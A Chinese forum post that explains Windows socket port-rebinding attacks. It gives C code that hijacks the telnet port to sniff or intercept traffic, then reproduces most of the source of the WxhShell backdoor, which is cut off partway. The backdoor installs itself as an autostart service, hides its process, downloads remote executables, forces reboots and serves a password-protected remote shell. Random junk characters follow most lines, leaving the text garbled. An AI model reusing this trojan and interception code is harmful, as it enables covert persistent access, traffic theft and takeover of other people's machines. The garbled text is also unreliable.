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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: . Y$xNLoP[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :T>OJ"p  
l)~$/#k  
  saddr.sin_family = AF_INET; n<@C'\j@  
#Uep|A  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1(_[awBx  
{iCX?Sb  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); sk_xQo#Y 3  
gxJ12' m  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p AaNWm  
W6r3v)~  
  这意味着什么?意味着可以进行如下的攻击: b\kA  
+.rE|)BPy  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -G#m'W&  
Eg2SC?5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ay`R jT  
bYX.4(R  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <u1`o`|-  
]3 Ibl^J  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  iSfRo 31  
C1qlB8(Wh>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 RE-y5.kE^  
sPl3JP&s  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {qU;>;(  
h0A%KL  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 P)hGe3  
d/@P;YN!  
  #include ?5^DQ|Hg ^  
  #include 0QW;=@)d  
  #include ($8!r|g5#  
  #include    4Me3{!HJz  
  DWORD WINAPI ClientThread(LPVOID lpParam);   d+5v[x~'  
  int main() $" =3e]<  
  { ka{!' ^  
  WORD wVersionRequested; .$Yp~  
  DWORD ret; E8t{[N6d  
  WSADATA wsaData; <xrya _R?  
  BOOL val; ??LE0i  
  SOCKADDR_IN saddr; 9+8N-LZ  
  SOCKADDR_IN scaddr; bb+iUV|Do  
  int err; W59xe&l  
  SOCKET s; *o!#5c  
  SOCKET sc; p;D {?H/  
  int caddsize; !/! Fc'A  
  HANDLE mt; E8wkqZN  
  DWORD tid;   &Z9rQH81f>  
  wVersionRequested = MAKEWORD( 2, 2 ); Po.by~|  
  err = WSAStartup( wVersionRequested, &wsaData ); i[z#5;x+<  
  if ( err != 0 ) { U'Y,T$Q  
  printf("error!WSAStartup failed!\n"); ttt4h  
  return -1; u6:$AA  
  } +1\t 0P24  
  saddr.sin_family = AF_INET; G_WHW(8   
   fEt BodA)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 T{N8 K K  
o{l]n*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); B1%xU?  
  saddr.sin_port = htons(23); 9[ o$/x}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) EY c)v6[  
  { 'z=d&K  
  printf("error!socket failed!\n"); 6(Ntt  
  return -1; (.wR!l# !  
  } \ NKw,`/  
  val = TRUE; Q )8I(*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }^b  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) RXu` DWN  
  { 9C!b f \  
  printf("error!setsockopt failed!\n"); ?+%bEZ`  
  return -1; N| P?!G-=  
  } V?jWp$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [o7Qr?RN  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =+[` 9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^i8(/iwdJE  
}}"|(2I  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) PeLzZ'$D  
  { (B?ZUXM,  
  ret=GetLastError(); m& D#5C  
  printf("error!bind failed!\n"); :KGPQ@:O  
  return -1; Bo'v!bI7  
  } X+N8r^&  
  listen(s,2); k @gQY_  
  while(1) @~&^1%37)  
  { gkca{BJ   
  caddsize = sizeof(scaddr); qagR?)N)u  
  //接受连接请求 U]9k,#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); WZP1g kX&M  
  if(sc!=INVALID_SOCKET) b?, =|H  
  { x0%@u^BF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .&8a ;Q?c  
  if(mt==NULL) k%aJ%(  
  { SO<9?uk.  
  printf("Thread Creat Failed!\n"); hrXk7}9  
  break; o]GZq..  
  } I\Cg-&e  
  } kQn}lD  
  CloseHandle(mt); Lzcea+*uw  
  } 6* 0vUy*"  
  closesocket(s); >Nx4 +|  
  WSACleanup(); "3_GFq  
  return 0; [| N73m,&  
  }   !\^W*nQ>l  
  DWORD WINAPI ClientThread(LPVOID lpParam) dx$+,R~y  
  { CW.T`F  
  SOCKET ss = (SOCKET)lpParam; !;${2Q  
  SOCKET sc; mrr -jo  
  unsigned char buf[4096]; mMO]l(a&  
  SOCKADDR_IN saddr; FchO 6O  
  long num; Az:A,;~+,!  
  DWORD val; 8q:# '  
  DWORD ret; :sA UV79M  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ["<'fq;PJ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   #%V+- b(  
  saddr.sin_family = AF_INET; )HX(-"c  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); lnF{5zc  
  saddr.sin_port = htons(23); LyL(~Jc|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ktp<o.f[  
  { +AFBTJ  
  printf("error!socket failed!\n"); <\P `<  
  return -1; D.ySnYzh  
  } _N0N #L4M  
  val = 100; /a6i`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,/!^ZS*  
  { #u +~ ^M  
  ret = GetLastError(); rFp>A`TJ  
  return -1; ?0qP6'nWx  
  } k^zU;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^uPg71r:  
  { WF2t{<]^e  
  ret = GetLastError(); Dt iM}=:  
  return -1; s .+`"rK  
  } v I,T1%llu  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Wr'1Y7z  
  { tZu1jBO_Q4  
  printf("error!socket connect failed!\n"); i)$<j!L  
  closesocket(sc); P>03 DkbB  
  closesocket(ss); b # Llu$  
  return -1; Lg|d[*;'7  
  } jvo^I$|2h  
  while(1) o8NRu7@?  
  { 2^f7GP  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )CgH|z:=b  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ka<J* k3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 < Pi#-r.,  
  num = recv(ss,buf,4096,0); .1_kRy2*.  
  if(num>0) M|{NC`fa  
  send(sc,buf,num,0); 0s RcA-9  
  else if(num==0) jdx T662q  
  break; Dv&K3^~Rfb  
  num = recv(sc,buf,4096,0); p%K(dA  
  if(num>0) rj4R/{h  
  send(ss,buf,num,0); {kr14 l*2  
  else if(num==0) ff~1>=^  
  break; ~qK/w0=j  
  } LC\U6J't1  
  closesocket(ss); Z9Z\2t  
  closesocket(sc); MIb [}w=  
  return 0 ; G^eXJusOv  
  } KKWv V4u  
81w"*G5AM  
c%1{l]   
========================================================== xV=Tmu6l  
Mz\l C)\B  
下边附上一个代码,,WXhSHELL '}"&JO~vPj  
+oL@pp0  
========================================================== \1QY=}  
G.PRPl  
#include "stdafx.h" 'K#ndCGJ$  
:\y' ?d- Q  
#include <stdio.h> JV_VM{w{K  
#include <string.h>  L|6I  
#include <windows.h>  T;V!>W37  
#include <winsock2.h> 2( m#WK7>F  
#include <winsvc.h> sz%_9;`dpL  
#include <urlmon.h> mkl^2V13~  
cv7:5P  
#pragma comment (lib, "Ws2_32.lib") fPPmUM^C9  
#pragma comment (lib, "urlmon.lib") qB&Je$_uh  
dP`B9>r  
#define MAX_USER   100 // 最大客户端连接数 W!Fc60>p@f  
#define BUF_SOCK   200 // sock buffer T k@~w  
#define KEY_BUFF   255 // 输入 buffer d`~~Ww1  
5}c8v2R:B  
#define REBOOT     0   // 重启 FZLx.3k4  
#define SHUTDOWN   1   // 关机 c] t@3m  
?Ygd|a5  
#define DEF_PORT   5000 // 监听端口  Lw%_xRn)  
[^^Pl:+  
#define REG_LEN     16   // 注册表键长度 $48 Z>ij?f  
#define SVC_LEN     80   // NT服务名长度 D3%2O`9  
JYv<QsD  
// 从dll定义API =itQ@ ``r  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); / :6|)AW.{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %%zlqd"0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e[0"x. gu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `csZ*$7  
ga(k2Q;y  
// wxhshell配置信息 < fV][W  
struct WSCFG { yc`*zLWh  
  int ws_port;         // 监听端口 q6<P\CSHy<  
  char ws_passstr[REG_LEN]; // 口令 P,F eF'J^  
  int ws_autoins;       // 安装标记, 1=yes 0=no Vjw u:M  
  char ws_regname[REG_LEN]; // 注册表键名 JbQY{z!  
  char ws_svcname[REG_LEN]; // 服务名 x*=1C,C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mCG&=Fx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xc\zRsY`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d325Cw?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vm'ZA7f6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D /GE-lq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RBBmGZ  
>k/cm3  
}; 8/&4l,M5  
51y#A Q@  
// default Wxhshell configuration _A] )q  
struct WSCFG wscfg={DEF_PORT, ic"8'Rwb  
    "xuhuanlingzhe", H Ix%c5^  
    1, ~_c1h@  
    "Wxhshell", n.z,-H17  
    "Wxhshell", $mh\`  
            "WxhShell Service", D9?.Ru0.  
    "Wrsky Windows CmdShell Service", =I@I  
    "Please Input Your Password: ", ]V_A4Df  
  1, i^V(LGQF  
  "http://www.wrsky.com/wxhshell.exe", ODhq `?(N  
  "Wxhshell.exe" xwi6#>  
    }; `E?0jQ  
x~wS/y  
// 消息定义模块  >]~|Nf/i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &I[` .:NJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $/B~bJC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  bI8uw|c  
char *msg_ws_ext="\n\rExit."; ,isjiy J  
char *msg_ws_end="\n\rQuit."; S#$Kmm |  
char *msg_ws_boot="\n\rReboot..."; E)ZL+(  
char *msg_ws_poff="\n\rShutdown..."; /jGV[_Q=P  
char *msg_ws_down="\n\rSave to "; OZnKJ<  
W5=)B`v  
char *msg_ws_err="\n\rErr!"; w,$qsmR  
char *msg_ws_ok="\n\rOK!"; U+@U/s%8  
[.1ME lM  
char ExeFile[MAX_PATH]; ;i'[c`  
int nUser = 0; Z7RBJK7|.  
HANDLE handles[MAX_USER]; zsJermF,O  
int OsIsNt; Y[dq"  
)>S,#_e*b  
SERVICE_STATUS       serviceStatus; %W)pZN}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; nSC2wTH!1  
ovBmo2W/  
// 函数声明 x3Y)l1gh  
int Install(void); b*M?\ aA  
int Uninstall(void); nP]!{J]  
int DownloadFile(char *sURL, SOCKET wsh); q$mc{F($D  
int Boot(int flag); ]z/R?SM  
void HideProc(void); I "~.p='  
int GetOsVer(void); G3%Ju=  
int Wxhshell(SOCKET wsl); sA77*T  
void TalkWithClient(void *cs); j7k}!j_O{  
int CmdShell(SOCKET sock); +a 1iZ bh  
int StartFromService(void); >3Q|k{97  
int StartWxhshell(LPSTR lpCmdLine); y!.jpF'uI  
ne/JC(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F_jHi0A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %0N HU`j  
$2L6:&.P,  
// 数据结构和表定义 6CIzT.  
SERVICE_TABLE_ENTRY DispatchTable[] = });Rjg  
{  7-!n-  
{wscfg.ws_svcname, NTServiceMain}, DQm%=ON7  
{NULL, NULL} Zo yO[#  
}; V L$ T  
NX.xE W@  
// 自我安装 v|o{AL:ei  
int Install(void) d%"XsbO  
{ X["xC3 i  
  char svExeFile[MAX_PATH]; %.<_+V#h  
  HKEY key; W%-XN   
  strcpy(svExeFile,ExeFile); mV$ebFco0  
4n@lrcq(  
// 如果是win9x系统,修改注册表设为自启动 m(6d3P  
if(!OsIsNt) { Es%f@$0uy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qul#)HI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .t5.(0Xk[A  
  RegCloseKey(key); ;54NQB3L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e12QYoh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k[;)/LfhS  
  RegCloseKey(key); <\u3p3"[4  
  return 0; IrqM_OjC  
    } (^m] 7l  
  } 0f.j W O  
} #e|o"R;/`  
else { 2 HEU  
dD=$$( je  
// 如果是NT以上系统,安装为系统服务 ?<TJ}("/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 49$<:{~  
if (schSCManager!=0) 7upko9d/  
{ h @!p:]  
  SC_HANDLE schService = CreateService hx$61 E=  
  ( :Kwu{<rJ!(  
  schSCManager, :^v Q4/,  
  wscfg.ws_svcname, C,Nf|L((6  
  wscfg.ws_svcdisp, %+N]$Q  
  SERVICE_ALL_ACCESS, Pc`d]*BYi  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )Y7H@e\1  
  SERVICE_AUTO_START, VAz4@r7hkq  
  SERVICE_ERROR_NORMAL, ApXf<MAy  
  svExeFile, 'z(Y9%+a  
  NULL, f\]?,  
  NULL, ~Ld5WEp k3  
  NULL, alaL/p{O  
  NULL, Yi*F;V   
  NULL xR/CP.dg  
  ); ctZ,qg*N  
  if (schService!=0) m9DFnk<D  
  { }kqh[`:  
  CloseServiceHandle(schService); 3ic /xy;}  
  CloseServiceHandle(schSCManager); * 9^8NY]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ahg:mlaob  
  strcat(svExeFile,wscfg.ws_svcname); A'DFY {  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3' i6<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E1eGZ&&Gd  
  RegCloseKey(key); CO='[1"_5  
  return 0; sFTAE1|  
    } tQ|c.`)W  
  } olE(#}7V  
  CloseServiceHandle(schSCManager); N3n]  
} OlOOg  
} g X!>ef  
x#D%3v"l_*  
return 1; p"ZvA^d\   
} K381B5_h  
-e/}DGL  
// 自我卸载 wUv?;Y$C  
int Uninstall(void) hG?y)g\A  
{ | ys5.|  
  HKEY key; H5}61JC/z  
'f\9'v  
if(!OsIsNt) { /?'~`4!(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K ze?@*  
  RegDeleteValue(key,wscfg.ws_regname); fp' '+R[   
  RegCloseKey(key); {EoYU\x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nK1eh@a9Qv  
  RegDeleteValue(key,wscfg.ws_regname); 0K%okq|n  
  RegCloseKey(key); u7L?9  
  return 0; dLiiJ6pl*  
  } mWT+15\5r(  
} o5o myMN  
} )@NFV*@I  
else { i1vz{Tc  
6]brL.eGj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MXaF q K<Y  
if (schSCManager!=0) vB8$Qx\J  
{ ,|A^ <R`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SGWb*grt  
  if (schService!=0) \,Y .5?  
  { 8G:/f3B=  
  if(DeleteService(schService)!=0) { ^wIB;!W  
  CloseServiceHandle(schService); nR{<xD^  
  CloseServiceHandle(schSCManager); atTR6%!6  
  return 0; L 4j#0I]lq  
  } "cKD#  
  CloseServiceHandle(schService); ~T_|?lU`R  
  } |]?f6^ |4  
  CloseServiceHandle(schSCManager); ,*|Q=  
} Nk7y2[  
} I%5vI}  
t*IePz]/  
return 1; Lh[0B.g<  
} u cpU $+  
ywwA,9~  
// 从指定url下载文件 |Ea%nghl  
int DownloadFile(char *sURL, SOCKET wsh) Bl b#h  
{ \l GD8@,x  
  HRESULT hr; sFpg  
char seps[]= "/"; Kb%Y%j  
char *token; =X R~I  
char *file; MB)<@.A0  
char myURL[MAX_PATH]; @xWWN  
char myFILE[MAX_PATH]; Bb/if:XS  
?'> .>  
strcpy(myURL,sURL); [c,V=:Cq  
  token=strtok(myURL,seps); ;'S,JGpvT  
  while(token!=NULL) /~NX<Ye&  
  { A6z ,6v6  
    file=token;  d$$5&a  
  token=strtok(NULL,seps); q} e#L6cM  
  } >(RkoExO/  
_ $F=A  
GetCurrentDirectory(MAX_PATH,myFILE); :^)?AO#J  
strcat(myFILE, "\\"); aopPv&jY  
strcat(myFILE, file); 5P!ZGbG  
  send(wsh,myFILE,strlen(myFILE),0); +e{ui +  
send(wsh,"...",3,0); \ S;[7T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }yT/UlU  
  if(hr==S_OK) ]}L'jK 0  
return 0; T!c|O3m  
else cGlN*GJ*H  
return 1; +#Pb@^6"m  
##jJa SxG  
} k{qxsNM  
,Cr%2Wg-  
// 系统电源模块 $s7U |F,I  
int Boot(int flag) >Scyc-n  
{ 0AO^d[v  
  HANDLE hToken; /8l-@P. o  
  TOKEN_PRIVILEGES tkp; ^Q8yb*MN  
UR'[?  
  if(OsIsNt) { u@_|4Bp,"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M/o?D <'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BN9e S   
    tkp.PrivilegeCount = 1; =8]`-(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x=DxD&I!J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Bp^LLH  
if(flag==REBOOT) { : @|Rj_S;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vMz|'-rm$  
  return 0; ZXnacc~s  
} h@ lz  
else { cEL:5*cAU}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?}?"m:=  
  return 0; [icD*N<Gc  
} x#0?$}f<  
  } Qder8I  
  else { mx9vjW fy  
if(flag==REBOOT) { SJiQg-+<Uf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rj=as>6B  
  return 0; 7!J-/#!  
} Jqxd92 bI  
else { "1a;);S=*)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |ke0G  
  return 0; -64l f-<  
} /9_%NR[  
} 2K:A4)jZ  
AS;Sz/YP  
return 1; yY#h 1  
} EXSJ@k6=8s  
6{)pF  
// win9x进程隐藏模块 _^_3>}y5op  
void HideProc(void) og";mC  
{ xT> 9ZZcE  
)BJkHED{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6:8s,a3&[k  
  if ( hKernel != NULL ) GN_L"|#)=  
  { FAM{p=t]HT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Au2?f~#Fv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Htgo=7!?\3  
    FreeLibrary(hKernel); ^Laqq%PI  
  } UwUHB~<oE  
Zn9u&!T&  
return; Wc@ ,#v  
} h7Uj "qH  
?s2-iuMPd  
// 获取操作系统版本 ZUS-4'"$  
int GetOsVer(void) `NtW+v  
{ ST{Vi';}  
  OSVERSIONINFO winfo; a_Xwi:e<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .=eEuH  
  GetVersionEx(&winfo);  dfFw6R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c'Z=uL<Rm  
  return 1; WWp MuB_G  
  else ho=!Yy  
  return 0; qt L]x -O  
} y[b 8rv  
Q"I(3 tp9[  
// 客户端句柄模块 n3p@duC4  
int Wxhshell(SOCKET wsl) )%^l+w+&  
{ h\!8*e;RAW  
  SOCKET wsh; G' U_I  
  struct sockaddr_in client; 6 /<Hx@r (  
  DWORD myID; 0d+n[Go+S  
f&CQn.K"  
  while(nUser<MAX_USER) O[d#-0s  
{ 1%_RXQVG  
  int nSize=sizeof(client); i bzY&f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Phi5;U!  
  if(wsh==INVALID_SOCKET) return 1; QD7KE6KP'  
=DdPwr 0Op  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Rrh6-]A  
if(handles[nUser]==0) 4bk`i*-O  
  closesocket(wsh); [RXLR#  
else K+)3 LR^  
  nUser++; 6,5h4[eF*  
  } NFTv4$5d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rXW.F'=K6  
4w+AOWjd  
  return 0; S TWH2_`  
} K9zr]7;th  
vb^fx$V  
// 关闭 socket rN 9qH  
void CloseIt(SOCKET wsh) 9]v,3'QI  
{ X$UK;O  
closesocket(wsh); ?3~t%Q`  
nUser--; vb[0H{TT2  
ExitThread(0); g(pr.Dw6  
} (#y2R F8j  
g7! LX[  
// 客户端请求句柄 $1ovT8  
void TalkWithClient(void *cs) E n7~wKF  
{ ;+DEU0|pe  
;~0q23{+;U  
  SOCKET wsh=(SOCKET)cs; (9`dLw5  
  char pwd[SVC_LEN]; deAV:c  
  char cmd[KEY_BUFF]; |? V7E\S  
char chr[1]; W(]A^C=/  
int i,j; LM eI[Ji  
81E EYf  
  while (nUser < MAX_USER) { ,f^fr&6jb  
v7pu  
if(wscfg.ws_passstr) { A8tJ&O rwY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e.vt"eRB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fj`k3~tUw  
  //ZeroMemory(pwd,KEY_BUFF); <( OHX3~  
      i=0; `qJJ{<1&U  
  while(i<SVC_LEN) { )5( jx  
\lG)J0  
  // 设置超时 )(,O~w  
  fd_set FdRead; %.d.h;^T  
  struct timeval TimeOut; m]V#fRC  
  FD_ZERO(&FdRead); \d;)U4__!  
  FD_SET(wsh,&FdRead); +IS6l*_y>6  
  TimeOut.tv_sec=8; ,Vq$>T@z  
  TimeOut.tv_usec=0; vu)EB!%[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); oz=V|7,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c@g(_%_|2  
=RHtugwy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^B1Ft5F`b  
  pwd=chr[0]; i!%WEHPe  
  if(chr[0]==0xd || chr[0]==0xa) { w)ki<Dudg  
  pwd=0; ng/h6 S  
  break; Q~(Qh_Ff  
  } 7C'@g)@^/  
  i++; __eB 7]#E  
    } [z"E"_r~%Y  
FdE?uw  
  // 如果是非法用户,关闭 socket >>$L vQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &jY| :Fe  
} %T$>E7]!  
Je|:\Qk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?GH/W#{o)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x%s1)\^A  
\FfqIc9;  
while(1) { gHc1_G]  
7HVENj_b+M  
  ZeroMemory(cmd,KEY_BUFF); AS]8rH  
0 \ U*  
      // 自动支持客户端 telnet标准   a>l,H#w*vW  
  j=0; Tv1oy%dK  
  while(j<KEY_BUFF) { s<LnUF1b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x"sbm  
  cmd[j]=chr[0]; D7nK"]HG;l  
  if(chr[0]==0xa || chr[0]==0xd) { a& 0g0n6  
  cmd[j]=0; pq r_{  
  break; c BqbbZyUk  
  } d BB?A~  
  j++; U\Y0v.11  
    } L+G0/G}O\  
 OLIMgc(W  
  // 下载文件 842v^ 2  
  if(strstr(cmd,"http://")) { QDW,e]A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); TgjjwcO Y  
  if(DownloadFile(cmd,wsh)) Q3%]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y2tVq})!  
  else QuEX|h,F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C9?mxa*z  
  } EVLL,x.~:z  
  else { #lMcAYH,  
;`^_9 K  
    switch(cmd[0]) { x2t&Wpvt  
  sN8pwRjb  
  // 帮助 S`YT"|~  
  case '?': {  I!?Xq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wbJBGT{sm  
    break; `Y.~eE  
  }  &lU\9  
  // 安装 q6rkp f,Tl  
  case 'i': { ,+ IFV  
    if(Install()) S'^ q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;o'r@4^&$R  
    else |hj!NhBe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (/nnN4\=  
    break; DzMg^Kp  
    } E9mu:T  
  // 卸载 'm`}XGUBS  
  case 'r': { . s>@@m-  
    if(Uninstall()) K" VcPDK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *Sdx:G~gp  
    else 9,~7,Py}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }wRm ~  
    break; @gb W:  
    } IV!`~\@  
  // 显示 wxhshell 所在路径 a9;KS>~bq  
  case 'p': { OQfFS+6  
    char svExeFile[MAX_PATH]; T8Mqu`$r  
    strcpy(svExeFile,"\n\r"); c*7|>7C$i  
      strcat(svExeFile,ExeFile); G=[<KtWa  
        send(wsh,svExeFile,strlen(svExeFile),0); -a@e28Y  
    break; 3QBzyJW f  
    } .-iW T4Dn  
  // 重启 [/q Bvuun  
  case 'b': { sQA_6]`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AB\Ya4O"9  
    if(Boot(REBOOT)) L,.~VNy-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jZ-s6r2=  
    else { q/zU'7%@  
    closesocket(wsh); %w[Z/  
    ExitThread(0); q=->) &D%  
    } _p4]\LA  
    break; w!H(zjv&(  
    } >i*,6Psl[Z  
  // 关机 JDR_k  
  case 'd': { Uc:NW   
